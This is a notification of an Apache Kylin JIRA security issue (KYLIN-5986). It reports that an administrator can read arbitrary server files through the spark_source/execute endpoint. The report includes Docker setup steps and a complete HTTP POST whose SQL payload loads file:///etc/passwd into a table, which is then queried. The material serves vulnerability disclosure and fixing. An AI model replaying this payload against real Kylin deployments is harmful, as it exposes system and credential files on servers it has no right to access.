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https://issues.apache.org/jira/browse/KYLIN-5986?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
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Longfei Jiang reassigned KYLIN-5986:
------------------------------------
Assignee: Longfei Jiang
> [Security] Apache kylin read any file
> -------------------------------------
>
> Key: KYLIN-5986
> URL: https://issues.apache.org/jira/browse/KYLIN-5986
> Project: Kylin
> Issue Type: Bug
> Affects Versions: 5.0.0
> Reporter: Longfei Jiang
> Assignee: Longfei Jiang
> Priority: Major
> Fix For: 5.0.1
>
> Attachments: Fwd_ [Security]Apache kylin read any file.eml,
> image-2025-02-13-11-11-05-091.png, image-2025-02-13-11-11-30-021.png,
> image-2025-02-13-11-11-40-004.png, image-2025-02-13-11-11-48-871.png,
> image-2025-02-13-11-11-57-464.png
>
>
> *1. start kylin-docker*
> ```sh
> docker run --platform=linux/amd64 -d --name Kylin5-Machine --hostname
> localhost -e TZ=UTC -m 10G -p 7070:7070 -p 8088:8088 -p
> 9870:9870 -p 8032:8032 -p 8042:8042 -p 2181:2181
> apachekylin/apache-kylin-standalone:5.0.0-GA
> ```
> *2. change kylin.properties*
> Add `kylin.env.channel=cloud` into the file `kylin.properties`. This is to
> make `org.apache.kylin.rest.controller.SparkSourceController` work
> !image-2025-02-13-11-11-05-091.png! image.png
> *3. restart server*
> ```
> ./kylin.sh stop
> ./kylin.sh start
> ```
> # Exploit
> 1.Log in to the backend using an administrator account
> 2.http access `/kylin/api/spark_source/execute` to execute spark sql
> ```http
> POST /kylin/api/spark_source/execute HTTP/1.1
> Host: 127.0.0.1:7070
> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
> (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Viewer/99.9.8782.87
> Accept: application/vnd.apache.kylin-v4+json
> Accept-Language: cn
> Accept-Encoding: gzip, deflate, br
> Auto: false
> X-Requested-With: XMLHttpRequest
> DNT: 1
> Connection: keep-alive
> Referer: http://127.0.0.1:7070/kylin/
> Cookie:
> c24882d0760bcad26b31ef95baaaa0ed96ea8fd461b11a9695cff5e969b6d4da=MTI5MjBjZGUtNDk1Yi00YzNhLTk4OTYtMmNhOWYwZDU1MWY2;
> session=c354aed6-c0e1-4463-98de-c26bc4df312f.o-aV6G0ydMKHAQ43gc1Cc0tOndE
> Sec-Fetch-Dest: empty
> Sec-Fetch-Mode: cors
> Sec-Fetch-Site: same-origin
> sec-ch-ua-platform: "Windows"
> sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not=A?Brand";v="24"
> sec-ch-ua-mobile: ?0
> Content-Type: application/json
> Content-Length: 94
> {"sql":"CREATE TABLE temp_tablea AS SELECT * from
> text.`file:///etc/passwd`","database":"SSB"}
> ```
> !image-2025-02-13-11-11-30-021.png! image.png
> 3.Add new source
> !image-2025-02-13-11-11-40-004.png! image.png
> 4.Click `Refresh now` ,this is to load tables;
> !image-2025-02-13-11-11-48-871.png! image.png
> 5.Execute the sql statement `select * from SSB.TEMP_TABLEA` to get the
> contents of the `/etc/passwd` file
> !image-2025-02-13-11-11-57-464.png! image.png
> The detailed information can be found in the email attachment: Fwd_
> [Security]Apache kylin read any file.eml
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